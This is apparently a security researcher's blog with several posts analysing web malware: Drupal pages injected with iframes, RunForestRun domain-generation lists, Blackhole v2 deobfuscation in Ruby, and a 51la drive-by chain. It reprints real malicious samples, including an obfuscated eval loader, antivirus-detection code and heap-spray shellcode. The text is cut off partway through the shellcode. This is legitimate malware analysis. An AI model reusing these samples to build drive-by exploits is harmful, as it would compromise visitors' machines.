Thursday, January 10, 2013

404 And You've Been Exploited

Most of the time, when analyzing malicious web pages, HTTP response code is one of my important indicators in order to determine the behaviour of the page (whether it is successful, unsuccessful, redirection and etc).

I've stumbled upon a trick where browser display an error page (php mysql error, cpanel error, or page not found) with HTTP response 200, but instead, it contains malicious JavaScript code on the backend to exploit users when the page is loaded.

Deceiving Error Page with HTTP Response 200

I've never encounter error page with HTTP response 404 and still contains the JavaScript code to redirect users to exploit page until recently. Silly me, as I always thought that 404 error page would give a genuine page not found error (a reason to be lazy :P).

404 Error Page (with HTTP Response 404) 

As for this case, the site runs Drupal CMS where during the time I try to access URL path at /c.php, it returns an 404 error page specified by Drupal.

Embedded JS Files from Drupal CMS

That error page contains several script tag with Drupal default JavaScript files as its sources. Unfortunately, all of the JavaScript files has been appended with obfuscated code redirecting users to malicious site through iframe.

Embedded Obfuscated JS Code

Deobfuscated JS Code

This trick is quite nice to deceive analysts with lack of attention to details, especially when they solely looks for HTTP response code as their first filters to start their analysis. 

Another trick that might need to be handled carefully such as redirection to domain parking page, where we might think that the malicious site has already brought down by hosting company.

Sunday, December 30, 2012

Some update on PageScan (v0.2)

It's been a while since I wrote > 1000 lines of code for a security project tool, and sorry for not mentioning about the release of PageScan earlier.

For those of you who didn't know, I've released PageScan, a web content scraper for the purpose of web-based malware analysis. It assist on static analysis by scraping and listing any redirection, iframe, javascript, and links found inside the web page. Below are some of the output from the PageScan;

CLI output

HTML output

Features
- Scrap HTML content, JavaScript code (inline or external JS), iframe, and links
- Follow iframe and redirection (meta and 301/302 redirection)
- TXT/HTML output
- User-defined Referer and User Agent

Future Development
- Scrap iframe/redirection address from JavaScript (in document.write() or conditions)
- Properly execute JavaScript code (for obfuscated redirection or content)
- Yara signature module for scraped contents


Feel free to dig into the source code. This tool license is WTFPL, so do what ever you want to do with with the code. You can get the latest version of PageScan at https://github.com/d3t0n4t0r/pagescan.

Thursday, December 6, 2012

Another Implementation of Pseudo Random Domain for Web Malware

On my previous post, I've discussed about pseudo random domain generator used by RunForestRun malware variation.

In this post, we're going to look on the slightly different implementation of pseudo random domain generator.

Unlike previous use of random domain generator by RunForestRun which randomize the .ru domain, the new implementation makes full use of Dynamic DNS services from ChangeIP.




This pseudo random domain generator will generate a random subdomain to include with the domain mynumber.org. The advantage of using a dynamic DNS services is, the attacker doesn't have to buy domains but instead they just need to create the random subdomain generated for that particular date.

This technique however, still does not protect the future generated malicious site from being predicted by security researchers. By using the workaround that I've shown on my previous post, I generate 27 malicious domain (05 Dec - 31 Dec 2012) and out of 27, only 1 are currently pointing to an IP.

2012-12-05      gcrrracfwwwririp.mynumber.org   82.221.99.107
2012-12-06      fhgwhiaerijqcffd.mynumber.org
2012-12-07      hcwppefjcdmfwwcm.mynumber.org
2012-12-08      jhzcfzpwcpftmwci.mynumber.org
2012-12-09      mfdwmdrarorjprtg.mynumber.org
2012-12-10      pahrcidrwdwcjqjj.mynumber.org
2012-12-11      dpgzrefpargrwpop.mynumber.org
2012-12-12      raolzfqtwjfqolfj.mynumber.org
2012-12-13      wpfwotlwgopjcafg.mynumber.org
2012-12-14      imrfjfiwlrfcwfpz.mynumber.org
2012-12-15      ifpfdcmczferfeec.mynumber.org
2012-12-16      jqcwldpmpjizffhe.mynumber.org
2012-12-17      hrwflpcefmoowccc.mynumber.org
2012-12-18      pwempcgwpilwirpf.mynumber.org
2012-12-19      wrijhfzmjmpzwdor.mynumber.org
2012-12-20      tdwizgwwgtzpfwwe.mynumber.org
2012-12-21      glaphiwfamrgpmir.mynumber.org
2012-12-22      cdgeddrqhtwcdjip.mynumber.org
2012-12-23      cltwpiwpfawfpgho.mynumber.org
2012-12-24      gwpgaawammwdwdwp.mynumber.org
2012-12-25      filmdzgiiawjecww.mynumber.org
2012-12-26      awfrwlcthghwtiwe.mynumber.org
2012-12-27      jifzrwjewajiiwcm.mynumber.org
2012-12-28      mzwlitifzpjewewd.mynumber.org
2012-12-29      fjhwcfwwjqewcfpp.mynumber.org
2012-12-30      dheaefjwjwhiorae.mynumber.org
2012-12-31      rjdcgljzqcotejfz.mynumber.org

Wednesday, November 28, 2012

Observation on RunForestRun Pseudo Random Domain

RunForestRun has known for its technique that inject an iframe along with the use of pseudo random domain in its source.

Despite that its pseudo random algorithm are available to analyze, and we can predict the attack domain every day, but it still seems to be immune like no body knows what domain it going to use tomorrow.


As for me, even though the technique that it used is not new, I find the technique interesting since this approach is not commonly use for web malwares.

Looking at the code below, we can see that it inject an iframe that will redirect users to malicious site. A pseudo random domain is generated through generatePseudoRandomString() function and return a 16 random character of .ru domain that'll be used inside the iframe src along with "runforestrun?sid=botnet2".


The initial component in this technique that help generate pseudo random domain is Date() value. By manipulating the Date() value, it can provide us with the attack domain that will be used on any given date.

The manipulation, obviously can be done by changing Date() into a form where we can add or subtract any value to represent the date of tomorrow or yesterday.

var d = new Date();
var n = d.valueOf();
print(d);
print(n);

>> Wed Nov 28 2012 11:51:07 GMT+0000 (UTC)
>> 1354103467874

var d = new Date(new Date().setDate(new Date().getDate()));
var n = d.valueOf();
print(d);
print(n);

>> Wed Nov 28 2012 11:51:07 GMT+0000 (UTC)
>> 1354103467874

The code above are just a workaround for me to say that the value of Date() and Date(new Date().setDate(new Date().getDate())) is equivalent, so we can manipulate to get the value for any date especially on sequential manner.

var d = new Date(new Date().setDate(new Date().getDate()-1));
var n = d.valueOf();
print(d);
print(n);

>> Tue Nov 27 2012 12:01:51 GMT+0000 (UTC)
>> 1354017711629

By modifying the line, var unix = Math.round(+new Date()/1000); on the malicious iframe code with the workaround code above, we can get the valid generated domain name according to this exploit kit.

Observation

As I mentioned earlier, with pseudo random domain generator in RunForestRun, it help us list-down and identify what domain that it'll use for the whole year. We can also identify which domain has been registered and whether or not it currently pointing to any IP.

From my observation from Jun 08 2012 until Nov 27 2012, there is 98 registered domains out of 173, and 2 domains are up and pointing to IP 91.233.244.102.

Below are some of the results that I during analysis:


Date() - i      Generated Domain         Status          Registered on   IP Address
=======================================================================================
2012-06-08      kwlefwlcclsjavfk.ru      Not registered
2012-06-09      wiombejwxrddpkkx.ru      Registered      2012.06.08
2012-06-10      jwqbrhwarzjrglbn.ru      Registered      2012.06.08
2012-06-11      uitjsdpvrfgfdhff.ru      Registered      2012.06.08
2012-06-12      hvuwhwqtoyidfrjg.ru      Registered      2012.06.08
2012-06-13      thxgfffpsvjdxcal.ru      Not registered
2012-06-14      gvztjrlasdnlbiei.ru      Registered      2012.06.13
2012-06-15      shderldqiqdtdcmu.ru      Registered      2012.06.13
2012-06-16      fufsbovwfzjumtle.ru      Registered      2012.06.13
2012-06-17      qhibjmjlnpyovmbn.ru      Registered      2012.06.13
2012-06-18      dujovshpvbxgrikw.ru      Registered      2012.06.13
2012-06-19      pgmxykzlqomziebp.ru      Registered      2012.06.13
2012-06-20      ctolfpcqldrvxvml.ru      Registered      2012.06.13
2012-06-21      ogrtlmpkqtwmweff.ru      Registered      2012.06.13
2012-06-22      atsihkcljrqlzvku.ru      Registered      2012.06.13
...
...
...
2012-11-04      chejtfoppvupcbhb.ru      Not registered
2012-11-05      otfrbymbgbedozxa.ru      Not registered
2012-11-06      bhigmqckbqhleqlo.ru      Registered      2012.11.06      91.233.244.102
2012-11-07      nsjosicxuhpidhlp.ru      Registered      2012.11.06      91.233.244.102
2012-11-08      yemwipgbsfdgxtwi.ru      Not registered
2012-11-09      lsokebdprtyhsbso.ru      Not registered
2012-11-10      xertaijuellzduaa.ru      Not registered
2012-11-11      krthwjspcpcdpxec.ru      Not registered
2012-11-12      wewpsgubuacxxkyj.ru      Not registered
2012-11-13      jrxeivysebbxnnty.ru      Not registered
2012-11-14      udbofptfthduxtto.ru      Not registered
2012-11-15      hqdcbscxwipgaobv.ru      Not registered
2012-11-16      tdglwoshlnadoxsd.ru      Not registered
2012-11-17      gqhybmnnxsndsdvj.ru      Not registered
2012-11-18      sckhoyvbrxscgfxt.ru      Not registered
2012-11-19      fpmusbtknvzptyyp.ru      Not registered
2012-11-20      qcpebbxufztcjenw.ru      Not registered
2012-11-21      dprrmhvxeedvldhh.ru      Not registered
2012-11-22      pbubsisvkxfvlqpr.ru      Not registered
2012-11-23      cpvogtshwgqsvrmm.ru      Not registered
2012-11-24      obywijqviuwhbjhf.ru      Not registered
2012-11-25      bobmzdnfgnramikr.ru      Not registered
2012-11-26      maevlhrskhtpwduy.ru      Not registered
2012-11-27      ymfemzowodecdxjg.ru      Not registered

Full list can be viewed here.

Thursday, October 18, 2012

Blackhole v2 Deobfuscation from Ruby Perspective

Throughout this post, credit goes to Hooked on Mnemonics.

In this post, we'll going to go through quick explanation on Blackhole v2 JavaScript obfuscation and how to deobfuscate using ruby. Keep in mind that the obfuscation code might have change a bit from time to time, so, adjustment on ruby code is required as well. Thus please take note on any changes on obfuscation code used.

JavaScript Obfuscation

<html><head><title></title></head><body><div dqa="asd"></div><applet archive="hxxp://kennedyana.ru:8080/forum/links/column.php?xlkuwces=0837090803&ysxk=3b42&jtaziv=wqur&coqs=wyfelia" code="gbegbewewb"><param name="ui&#0000100;" value='0&#48;&#98;&#48;&#57;&#48;&#57;&#48;&#52;&#49;&#102;&#51;&#49;&#51;&#49;&#49;&#49;&#51;&#53;&#51;&#97;&#51;&#97;&#51;&#53;&#48;&#48;&#49;&#101;&#49;&#97;&#51;&#97;&#49;&#97;&#51;&#99;&#52;&#52;&#50;&#49;&#49;&#102;&#49;&#56;&#49;&#99;&#49;&#56;&#49;&#99;&#51;&#49;&#50;&#99;&#49;&#55;&#52;&#52;&#50;&#49;&#50;&#51;&#51;&#49;&#52;&#51;&#51;&#50;&#51;&#97;&#49;&#49;&#49;&#57;&#51;&#49;&#51;&#56;&#49;&#55;&#52;&#51;&#50;&#49;&#50;&#51;&#51;&#97;&#51;&#99;&#48;&#52;&#48;&#98;&#48;&#52;&#51;&#100;&#50;&#51;&#50;&#99;&#51;&#57;&#49;&#99;&#49;&#56;&#48;&#56;&#50;&#57;&#49;&#99;&#51;&#101;&#49;&#99;&#49;&#56;&#49;&#99;&#48;&#56;&#48;&#50;&#50;&#51;&#51;&#53;&#51;&#57;&#48;&#56;&#48;&#56;&#49;&#99;&#50;&#57;&#49;&#99;&#51;&#101;&#48;&#56;&#50;&#57;&#48;&#56;&#49;&#56;&#49;&#99;&#50;&#57;&#49;&#99;&#50;&#57;&#48;&#56;&#51;&#52;&#49;&#99;&#51;&#52;&#49;&#99;&#50;&#56;&#48;&#50;&#51;&#97;&#51;&#57;&#49;&#99;&#50;&#55;&#48;&#50;&#49;&#50;&#51;&#54;&#51;&#57;&#49;&#97;&#48;&#50;&#48;&#97;&#50;&#51;&#51;&#57;&#49;&#57;'/></applet><script>dd="div";asd=function(){a=a.replace(/[^012a-z3-9]/g,"");};ss=String.fromCharCode</script><div 12="131a1r1h(1d341u3h34@3p3c3a343n&3i3l1f3j3f+3o3a3c3h3m%1d3a1u1313)1d391d351d#3g1s393i3l*19391u1h1s!391t341f3f^383h3a3n3b_1s391c1c1a$3u3g1u342t(39301f3738@3m363l3c3j&3n3c3i3h40+403a1s351u%342t39301f)3h343g3840#403a1s3c39*19193b1f3n!383m3n193g^1a17171912_374040371f$3n383m3n19(2k383a273r@3j1f3f3839&3n253" 3="3s#3j383i3911*351u1u133m!3n3l3c3h3a^131717191g_2u371g1a1f$3n383m3n19(351a1a411d@3a383n2g3o&3g2k383a3r+1r1g2t2u37%302t2u372u)1f2u321d1e#301b1g1d3m*3j3f3c3n2g!3o3g2k383a^3r1r1g2t2u_1f2u321d1e$301g3a1d3a(383n2g3o3g@1r393o3h36&3n3c3i3h19+351d361a3u%3p343l1137)1u3n3b3c3m#1d341u371f*3c3m2l3n3l!2g3o3g1935^" 21="h36)3n3c3i3h19#381d351d37*1a3u3p343l!11341d361s^3c3919381a_3u3c391938$2t352t1h30(301u1u1i40@40371a3u39&3i3l19341u+1h1s341t35%1f3f383h3a)3n3b1s341u#341c1j1a3u*382t352t34!30301u352t^341c1i3041_41393i3l19$34113c3h11(381a3u361u@382t34301s&3c39193617+17362t352t%1h30301u1u)1i1a3u3n3b#3c3m1f3c3h*3c3n2h353d"

......

33="!2u1f212u37^1b1a1g3c1a_1f3n383m3n$193c1a1s36(1f3p383l2h@3j383l341u&361f3c3m2h+3j383l3417%1719191g2o)383l3m3c3i#3h2u3m1b2u*1g2u3m1b19!2u371c2u1f^212u371b1a_1g3c1a1f3n$383m3n193c(1a40401i1a@213j343l3m&38283f3i34+3n192k383a%273r3j1f15)1i1d1i1h1a#1r3h3o3f3f*1s361f3437!372p3c3h27^3p383h3n19_133f3i3437$13" 79="83m36+3l3c3j3n3c%3i3h1a4040)371f3a383n#2g3o3g1935*1f3h343g38!1a1s3b1u37^1f3a383n2i_3f3o3a3c3h$283c3f382o(383l3m3c3i@3h19351d3b&1a1s3c3919+123b171737%1f2h2l1u1u)1i1a3u3c39#193a1f3j3f*3o3a3c3h2a!343m2f3c3g^382m3s3j38_19351d1334$3j3j3f3c36(343n3c3i3h@1g3p3h371f&34373i3538+1f3j37393r%3g3f131d34)1a1a3u3b"></div><script>

if(020==0x10)a=document.getElementsByTagName(dd)[1];
s="";
for(i=0;;i++){
        if(window.document)r=a.getAttribute(i);
        if(r){s=s+r;}else break;
}
a=s;
asd();
s="";
for(i=0;i<a.length;i+=2){
        s+=ss(parseInt(a.substr(i,2),31));
}
c=s;
e=window["ev"+"a"+"l"];
try{("321".substr+"zxc")();}catch(gdsgdsg){e(c);}
</script></body></html>

The snippet above is a normal Blackhole v2 HTML page that'll feed a suitable exploit for visitors. We'll focus more with the code within <script> and </script>. In general, the JavaScript will deobfuscate itself by;

1) Get all the element in 2nd <div> tag in HTML page

a=document.getElementsByTagName(dd)[1]

2) Loop through the 2nd <div> tag and cumulate the value of attribute inside the 2nd <div> (Note: the cumulation value will be in sequence)

for(i=0;;i++){
        if(window.document)r=a.getAttribute(i);
        if(r){s=s+r;}else break;
}

3) It will then delete the character /[^012a-z3-9]/ within the cumulated attribute values

asd(); OR asd=function(){a=a.replace(/[^012a-z3-9]/g,"");};

4) Next, it will get every 2 characters of cumulated attribute values at a time, and return the integer of base 31 and the ASCII value from the integer.

for(i=0;i<a.length;i+=2){
        s+=ss(parseInt(a.substr(i,2),31));
}

5- Lastly, it will eval the all the cumulated values in step 4.

e=window["ev"+"a"+"l"];
try{("321".substr+"zxc")();}catch(gdsgdsg){e(c);}

Deobfuscating with ruby

To deobfuscate above code with ruby, we can make use of pattern matching for attributes in <div> tag. Previous sample that I've seen, uses <div d01="blabla" d03="blabla" d02="blabla" ...>, and most of the samples now uses <div 1="blabla" 3="blabla" 2="blabla" ..>. So I use regex = /\s(\d{1,2})\=\"(.*?)\"/ for now. It might now work on every samples, tweaking the regex is required.

#!/usr/bin/ruby
require 'stringio'

content = ''
code = ''
base = 31
deobf = ''

File.open("test.lala", "r") { |f| content << f.read }

attribs = content.scan(/\s(\d{1,2})\=\"(.*?)\"/)

(0...attribs.length).each do |i|
        attribs[i][0] = attribs[i][0].to_i
end

attribs.sort!

(0...attribs.length).each do |i|
        code << attribs[i][1]
end

code.gsub!(/[^012a-z3-9]/,'')
code = StringIO.new(code)

while (1)
        a = code.read(2)
        if a.kind_of?(String)
                deobf << a.to_i(base).chr
        else
                break
        end
end

File.open("lala.html","w") { |f| f.write(deobf) }


Deobfuscation for show_pdf2

After successfully deobfuscating the JavaScript above, we can get the links to download the PDF exploit. Most of the parameter in URL to download the PDF exploit for Blackhole v2 will be obfuscated as below;

function x(s){d=[];for(i=0;i<s.length;i++){k=(s.charCodeAt(i)-46).toString(16);if(k.length==1)k="0"+k;d.push(k);};return d.join("");}

show_pdf2("hxxp://kennedyana.ru:8080/forum/links/column.php?mkih="+x("6e761")+"&itv="+x("n")+"&uqtfl=3307093738070736060b&yocom="+x(pdfver.join(".")))

Below are deobfuscation using ruby;

#!/usr/bin/ruby

pdfver = [9, 1, 1, 1]

def x(str)
        k = ''
        decoded = ''

        str.each do |s|
                k = (s.unpack('U')[0]-46).to_s(16)

                if k.length == 1
                        k = "0" + k
                end

                decoded << k
        end

        return decoded
end

puts "hxxp://kennedyana.ru:8080/forum/links/column.php?mkih="+x("6e761")+"&itv="+x("n")+"&uqtfl=3307093738070736060b&yocom="+x(pdfver.join("."))

Friday, October 12, 2012

51la Malware Embedded Attack

Early this morning, while doing normal stuff in front of laptop, I stumbled upon a URL which I have a feeling that it might be malicious: wbtg.51872210.com/ywtcpm120921/8ace3ds3f4fb.html. Lucky for me (I guess), the URL is still alive and I able to download its content.

The Redirection

After fetching the content of 8ace3ds3f4fb.html, I concentrate myself on the portion that might contains malicious embedded code (such as redirection/iframe/javascript). And yes, it have some javascript embedded, but the one that I'm interested in, is index.js

...
Snip
...
</BODY></HTML><script src="hxxp://s11.cnzz.com/stat.php?id=4581253&web_id=4581253" language="JavaScript"></script>
<script type="text/javascript" src="index.js" ></script>

Looking into index.js, the code contains an iframe to another URL, hxxp://wmb.5151lp.com/kk.html

var bOwa = navigator.userAgent.toLowerCase();

try {
   var s;
   var ss=new ActiveXObject("\x33\x36\x30\x53\x61\x66\x65\x4C"+"\x69\x76\x65\x2E"+"\x55\x70\x64\x61\x74\x65");
}
catch(s){};
finally {
   if((s=="[object Error]") && (bOwa.indexOf("360se")==-1) && (bOwa.indexOf("msie 9")==-1)) {
        document.write("<iframe src=hxxp://wmb.5151lp.com/kk.html width=116 height=1></iframe>");
   }
}

From hxxp://wmb.5151lp.com/kk.html, I get an obfuscated JS code (PASTEBIN). 

<script>var ckabc=eval;try{alert(a,b,c);}catch(e){ckabc(function(/*ck vip*/p,/*ck vip*/a,/*ck vip*/c,/*ck vip*/k,/*ck vip*/e,/*ck vip*/d/*ck vip*/){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];

...

(t);',62,216,'||||||||||var|out||str||len|charCodeAt|case||length||return|if||c3|||c4|||0xff|||while|||break|sum|c2|String|fromCharCode|nbChar|0xffffffff|63||function|char2|mx|c1||AVgHbu2f|do|X3cQCMIIF|||ErTiUlaxlkP|delta|char3|6b|join|0x3F|BMOYPRD4H|||||||||||str2long|for|61|vl|74|65|key|nbencode|52|GIEMslIELDjE|nbcode|NtCion|utf8to16|long2str|sl|false|MYKEY|57|62|Array|53|55|54|

...

|8LtGCo1KTBLkuLxBQxwKwUi0hC9WGI30Ll3WuvTUI2lqsUhOFxzclRfbQgCTIwjifli1q|||||||||||AJvzvYnS37tvhGB0Q8wXKpaJI|HplD80sXTFEoEZ|DPwUqt|2V8ivu9Y13m9nqQSg8rN|fOvmYQvkBXXNmtdcp7swtEf6WWz8DKZ5FULCIY9SUbv2qHZHT3fYj9E7M8wQ6gSsDCLMmkMo3TAyosj3rGqkCnNzuPymVGb9|GguYcZXhH8iz4CLJQrAcSJovghxKiIzXzUyiHyMDzW4N7wNEOE9oVabADxVEkSCC0cqxefhZiOzzebb1sFukgfgdohewLv90P|window|43|IJGbt5Bd8HhsU982|Um6ZS0Ntts|YcoQQAxsZ5TtTZ0Vm6RZ8qIMdPieVQjLVQaG6ZqLBuzR33p|JzznFVHaUz4kVs38VjlAmdjYoGQYyUVycKOS|8itFIvCwP1Fq7AzILaHEyt9sVB8DPZBl|Vb0VwMO|kn0|D20GWWbGli3C9wTOHftmKvHHjBalZiqDWrBLST4jp|HZfPtBoR|AxvlyDenPYzIKN|SCYZ7|eS5av9AYyYaMB7ZkK8JRp50jBCFQRm8XSZJvJkDhtbGs7B9jYByhTaX'.split('|'),0,{}))}</script>

When it comes to obfuscated JS code, I've been using manual analysis + spidermonkey since from the beginning. After finding out about JSDetox for a few weeks, and I must say, manual analysis with JSDetox has become quite handy sometimes, especially when manually tracking variable values, and deobfuscating JS code on DOM level. 

The obfuscated code above has multiple obfuscation, but with JSDetox I utilize the "Send to Analyze" and execute one more time. And from there, I get deobfuscated JS code (PASTEBIN) with an Iframe to cc.html. Along with Iframe, it also tries to check whether ksafe, kingsoft antivirus, 360QBack, 360safe and NODE32 are installed, and not other major AV, I have no idea why, I suspect they're trying to check whether fake AV is installed.

function ckrav(){
  var EasGXqAf1 = ['res://C:\\Program%20Files\\ksafe\\ksafevulfix.exe/BMP/100', 'res://D:\\Program%20Files\\ksafe\\ksafevulfix.exe/BMP/100', 'res://E:\\Program%20Files\\ksafe\\ksafevulfix.exe/BMP/100', 'res://F:\\Program%20Files\\ksafe\\ksafevulfix.exe/BMP/100', 'res://C:\\Program%20Files\\kingsoft\\kingsoft%20antivirus\\krecycle.exe/PNG/308', 'res://D:\\Program%20Files\\kingsoft\\kingsoft%20antivirus\\krecycle.exe/PNG/308', 'res://E:\\Program%20Files\\kingsoft\\kingsoft%20antivirus\\krecycle.exe/PNG/308', 'res://F:\\Program%20Files\\kingsoft\\kingsoft%20antivirus\\krecycle.exe/PNG/308', 'res://C:\\Program%20Files\\360\\360SD\\360QBack.exe/GIF/133', 'res://D:\\Program%20Files\\360\\360SD\\360QBack.exe/GIF/133', 'res://E:\\Program%20Files\\360\\360SD\\360QBack.exe/GIF/133', 'res://F:\\Program%20Files\\360\\360SD\\360QBack.exe/GIF/133', 'res://C:\\Program%20Files\\ESET\\ESET%20NOD32%20Antivirus\\SysRescue.exe/GIF/1102', 'res://D:\\Program%20Files\\ESET\\ESET%20NOD32%20Antivirus\\SysRescue.exe/GIF/1102', 'res://E:\\Program%20Files\\ESET\\ESET%20NOD32%20Antivirus\\SysRescue.exe/GIF/1102', 'res://F:\\Program%20Files\\ESET\\ESET%20NOD32%20Antivirus\\SysRescue.exe/GIF/1102', 'res://C:\\Program%20Files\\360\\360safe\\360Diagnose.exe/GIF/171', 'res://D:\\Program%20Files\\360\\360safe\\360Diagnose.exe/GIF/171', 'res://E:\\Program%20Files\\360\\360safe\\360Diagnose.exe/GIF/171', 'res://F:\\Program%20Files\\360\\360safe\\360Diagnose.exe/GIF/171'];

  for(i = 0; i < EasGXqAf1["length"]; i++) {
    ischeck = 1;
    x = new Image();
    x["src"] = "";
    x["onerror"] = function() {
      ischeck = 0;
    };
    x["src"] = EasGXqAf1[i];
    if(ischeck == 1) {
      return 1;
    }
    delete x;
  }
  return 0;
}

if(!ckrav()) {
  document.write("<iframe src=cc.html width=116 height=1></iframe>");
}

Following the content of  hxxp://wmb.5151lp.com/cc.html, thecode contains another Iframe which is ppp.html and external JS code from 51.la URL. I've actually read about 51la malware previously on Donovan's blog post but I still don't get what it (the 51la malware) actually do. However, according to his latest post, Norman Lab has confirmed about its maliciousness.

Below are the content from cc.html;

<script language="JavaScript">
function lovexckwm(){
   var ckxo = navigator.userAgent.toLowerCase();
   var polo = new String(document.cookie);
   var colo = "ck006=";
   var cksun = polo.indexOf(colo);

   if (cksun == -1)
   {
       var osome = new Date();
       osome.setTime(osome.getTime()+1*60*60*1000);
       document.cookie = "ck006=yes;expires=" + osome.toGMTString();

       if(ckxo.indexOf("msie")>0)
       {
          document.write("<iframe src=ppp.html width=60 height=1></iframe>");
       }
   }
}
lovexckwm();
</script>

<script language="javascript" type="text/javascript" src="http://js.users.51.la/14908642.js"></script>


The Exploitation

I downloaded the ppp.html and 14908642.js from both URL inside cc.html.

From the content of 14908642.js (PASTEBIN), it somehow similar with Donovan's blogpost which came to our suspicion that why the <img> has an .asp extension in its src option.

Moving to ppp.html, I get an heavily obfuscated JS code which I then manually analyzed with JSDetox to strip the script from HTML tag (beautified version in PASTEBIN). With the beautified version, I identified 2 parts from the content, (1) an obfuscation using packed function, (2) heaplib exploitation library developed by Alexander Sotirov.

The Shellcode

Since the heaplib.js require shellcode to deliver the payload, I'm pretty sure it reside on the part of obfuscated code. By deobfuscating the first part of the code (PASTEBIN), I managed to see obfuscated shellcode with another heaplib exploitation library.

From there, I deobfuscate the shellcode and got;

<script>
function ckckckckckckckck(__){var _='';for(var ___=0;___<__['length'];___+=4){_+='cgTw6'+__.substr(___,4);} return _;}

var x1 = new Array, x2 = '', x3;

for(var i=0;i<ss.length;i++ ){x1[i]=ss[i]-38;x2+=x1[i].toString(16);}
x3 = ckckckckckckckck(x2);
var Abqj6 = '%'+'u';
var ckwmckwm = Abqj6+'90'+'90'+Abqj6+'90'+'90'+Abqj6+'5858'+'cgTw65858cgTw610EBcgTw64B5BcgTw6C933cgTw6B966cgTw603B8cgTw63480cgTw6BD0BcgTw6FAE2cgTw605EBcgTw6EBE8'+'cgTw6FFFF'+Abqj6+'54FFcgTw6BEA3'+'cgTw6bdbdcgTw6D9E2'+'cgTw68D1CcgTw6BDBDcgTw636BDcgTw6B1FDcgTw6CD36cgTw610A1cgTw6D536'+'cgTw636B5cgTw6D74AcgTw6E4ACcgTw60355cgTw6BDBF'+'cgTw62DBDcgTw6455F'+'cgTw68ED5'+'cgTw6'+'BD8F'+'cgTw6D5BDcgTw6CEE8cgTw6CFD8cgTw636E9cgTw6B1FBcgTw60355cgTw6BDBCcgTw636BDcgTw6D755cgTw6E4B8cgTw62355'+'cgTw6BDBF'+'cgTw65FBDcgTw6D544cgTw6D3D2cgTw6BDBDcgTw6C8D5cgTw6D1CFcgTw6E9D0cgTw6AB42cgTw67D38cgTw6AEC8cgTw6D2D5cgTw6BDD3cgTw6D5BDcgTw6CFC8cgTw6D0D1cgTw636E9cgTw6B1FBcgTw63355cgTw6BDBCcgTw636BDcgTw6D755cgTw6E4BCcgTw6D355cgTw6BDBFcgTw65FBDcgTw6D544'+'cgTw68ED1'+'cgTw6BD8FcgTw6CED5cgTw6D8D5'+Abqj6+'E9D1cgTw6FB36cgTw655B1cgTw6BCD2cgTw6BDBDcgTw65536cgTw6BCD7cgTw655E4cgTw6BFF2cgTw6BDBDcgTw6445FcgTw6513CcgTw6BCBDcgTw6BDBDcgTw66136cgTw67E3CcgTw6BD3DcgTw6BDBDcgTw6BDD7cgTw6A7D7cgTw6D7EEcgTw642BDcgTw6E1EBcgTw67D8EcgTw63DFDcgTw6BE81'+'cgTw6C8BD'+'cgTw67A44cgTw6BEB9cgTw6D6E1cgTw6D893cgTw6F97AcgTw6B9BEcgTw6D8C5cgTw6BDBDcgTw6748EcgTw6ECECcgTw6EAEEcgTw68EECcgTw6367DcgTw6E5FBcgTw69F55cgTw6BDBCcgTw63EBDcgTw6BD45cgTw638B2cgTw6BD68cgTw6BDBDcgTw6BDD7cgTw6BDD7cgTw6BED7cgTw6BDD7cgTw6BFD7cgTw6BDD5cgTw6BDBDcgTw6EE7DcgTw6FB36cgTw65599cgTw6BCBCcgTw6BDBDcgTw6FB34cgTw6D7DDcgTw6EDBDcgTw6EB42cgTw63495cgTw6D9FBcgTw6FB36cgTw6D7DDcgTw6D7BDcgTw6D7BDcgTw6D7BDcgTw6D7B9cgTw6EDBDcgTw6EB42cgTw6D791cgTw6D7BDcgTw6D7BDcgTw6D5BDcgTw6BDA2cgTw6BDB2cgTw642EDcgTw681EBcgTw6FB34cgTw636C5cgTw6D9F3cgTw6C13DcgTw642B5cgTw6C91FcgTw63DB1cgTw6B5C1'+'cgTw6BD42'+'cgTw6B8C9'+'cgTw6C93DcgTw642B5'+'cgTw65F1F'+'cgTw63456'+'cgTw63D3BcgTw6BDBDcgTw67ABDcgTw6CDFBcgTw6BDBDcgTw6BDBDcgTw6FB7AcgTw6BDC9cgTw6BDBDcgTw6D7BDcgTw6D7BDcgTw6D7BDcgTw636BDcgTw6DDFBcgTw642EDcgTw685EBcgTw63B36cgTw6BD3DcgTw6BDBDcgTw6BDD7cgTw6F330cgTw6ECC9cgTw6CB42cgTw6EDCDcgTw6CB42cgTw642DDcgTw68DEBcgTw6CB42'+'cgTw642DDcgTw689EBcgTw6CB42cgTw642C5cgTw6FDEBcgTw64636cgTw67D8EcgTw6668EcgTw6513CcgTw6BFBDcgTw6BDBDcgTw67136cgTw6453EcgTw6C0E9cgTw634B5cgTw6BCA1cgTw67D3EcgTw656B9cgTw6364EcgTw63671cgTw63E64cgTw6AD7EcgTw67D8EcgTw6ECEDcgTw6EDEEcgTw6EDEDcgTw6EDED'+'cgTw6EAED'+'cgTw6EDEDcgTw6EB42cgTw636B5cgTw6E9C3cgTw6AD55cgTw6BDBCcgTw655BDcgTw6BDD8cgTw6BDBDcgTw6DED5cgTw6CACBcgTw6D5BDcgTw6D5CEcgTw6D2D9cgTw636E9cgTw6B1FBcgTw69955cgTw6BDBDcgTw634BDcgTw681FBcgTw61CD9cgTw6BDB9cgTw6BDBDcgTw61D30cgTw642DDcgTw64242cgTw6D8D7cgTw6CB42cgTw63681cgTw6ADFBcgTw6B555cgTw6BDBD'+'cgTw68EBDcgTw6EE66cgTw6EEEEcgTw642EEcgTw63D6DcgTw65585cgTw6853DcgTw6C854cgTw63CACcgTw6B8C5cgTw62D2DcgTw62D2DcgTw6B5C9cgTw64236cgTw636E8cgTw63051cgTw6B8FDcgTw65D42cgTw61B55cgTw6BDBDcgTw67EBDcgTw61D55cgTw6BDBDcgTw605BDcgTw6BCACcgTw63DB9cgTw6B17FcgTw655BD'+'cgTw6BD2EcgTw6BDBDcgTw6513CcgTw6BCBDcgTw6BDBDcgTw64136cgTw67A3EcgTw67AB9cgTw68FBAcgTw62CC9cgTw67AB1cgTw6B9FAcgTw634DEcgTw6F26CcgTw6FA7AcgTw61DB5cgTw62AD8cgTw67A76cgTw6B1FAcgTw6FDECcgTw6C207cgTw6FA7AcgTw683ADcgTw60BA0cgTw67A84'+Abqj6+'A9FAcgTw6D405'+'cgTw6A669cgTw6FA7AcgTw603A5cgTw6DBC2cgTw67A1DcgTw6A1FAcgTw61441cgTw6108AcgTw6FA7AcgTw6259DcgTw6ADB7cgTw6D945cgTw68D1CcgTw6